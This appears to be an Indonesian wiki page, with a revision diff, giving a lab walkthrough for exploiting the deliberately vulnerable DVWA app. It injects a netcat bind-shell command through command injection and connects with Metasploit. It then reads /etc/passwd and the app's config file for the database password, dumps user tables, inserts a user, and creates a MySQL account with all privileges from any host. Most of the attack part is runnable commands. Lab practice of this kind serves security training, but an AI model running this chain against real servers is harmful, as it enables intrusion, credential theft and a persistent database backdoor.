Difference between revisions of "DVWA: Exploit menggunakan Metasploit"

From OnnoWiki
Jump to navigation Jump to search
Line 84: Line 84:
 
  echo "use mysql; GRANT ALL PRIVILEGES ON *.* TO 'db_hacker'@'%' IDENTIFIED BY 'abc123' WITH GRANT OPTION;" | mysql -uroot -p123456
 
  echo "use mysql; GRANT ALL PRIVILEGES ON *.* TO 'db_hacker'@'%' IDENTIFIED BY 'abc123' WITH GRANT OPTION;" | mysql -uroot -p123456
 
  echo "select * from mysql.user;" | mysql -uroot -p123456
 
  echo "select * from mysql.user;" | mysql -uroot -p123456
 +
 +
Perintah diatas akan membuat user db_hacker yang bisa akses dari mana saja, dengan password abc123 ke MySQL :( ..
 +
 +
==Cek dari console Kali Linux==
 +
 +
mysql -u db_hacker -h 192.168.0.100 -pabc123
 +
show databases;
 +
quit
  
 
==Referensi==
 
==Referensi==
  
 
* https://computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson4/index.html
 
* https://computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson4/index.html

Revision as of 04:14, 4 May 2017

Sumber: https://computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson4/index.html

Persiapan

Masuk ke DVWA, misalnya

http://192.168.0.80/DVWA-1.9
username admin
password password

Klik

DVWA Security > Security Level Low > Submit


Siapkan NetCat

Masuk ke DVWA Command Injection, lakukan

192.168.0.100;mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe

Dimana 192.168.0.100 adalah IP address server DVWA

Teknik ini akan membuka server pada port 4444 menggunakan NC .... Ini tempat masuk bagi Metasploit.

Gunakan metasploit

Jalankan

msfconsole thankyou

Lakukan


use multi/handler
set PAYLOAD linux/x86/shell/bind_tcp
show options
set RHOST 192.168.0.100
exploit

Cek password

whoami
grep www-data /etc/passwd
grep www-data /etc/group


Cek Password melalui konfigurasi Web

ps -eaf | grep http
pwd
ls -ld /var/www/html
ls -ld /var/www/html/DVWA*
ls -l /var/www/html/DVWA*

Cari password database

ls -l /var/www/html/DVWA-1.9/config
cat /var/www/html/DVWA-1.9/config/config.inc.php

Explorasi database, asumsi username MySQL root, password 123456


echo "show databases;" | mysql -uroot -p123456
echo "use dvwa; show tables;" | mysql -uroot -p123456
echo "use dvwa; desc users;" | mysql -uroot -p123456
echo "select * from dvwa.users;" | mysql -uroot -p123456

Buat user baru

echo "insert into dvwa.users values ('6','John','Gray','jgray',MD5('abc123'),'NA');" | mysql -uroot -p123456
echo "select * from dvwa.users;" | mysql -uroot -p123456

Lihat informasi tabel MySQL


echo "show databases;" | mysql -uroot -p123456
echo "use mysql; show tables;" | mysql -uroot -p123456

Ini bagian paling berbahaya, buat user MySQL yang baru

echo "use mysql; GRANT ALL PRIVILEGES ON *.* TO 'db_hacker'@'%' IDENTIFIED BY 'abc123' WITH GRANT OPTION;" | mysql -uroot -p123456
echo "select * from mysql.user;" | mysql -uroot -p123456

Perintah diatas akan membuat user db_hacker yang bisa akses dari mana saja, dengan password abc123 ke MySQL :( ..

Cek dari console Kali Linux

mysql -u db_hacker -h 192.168.0.100 -pabc123
show databases;
quit

Referensi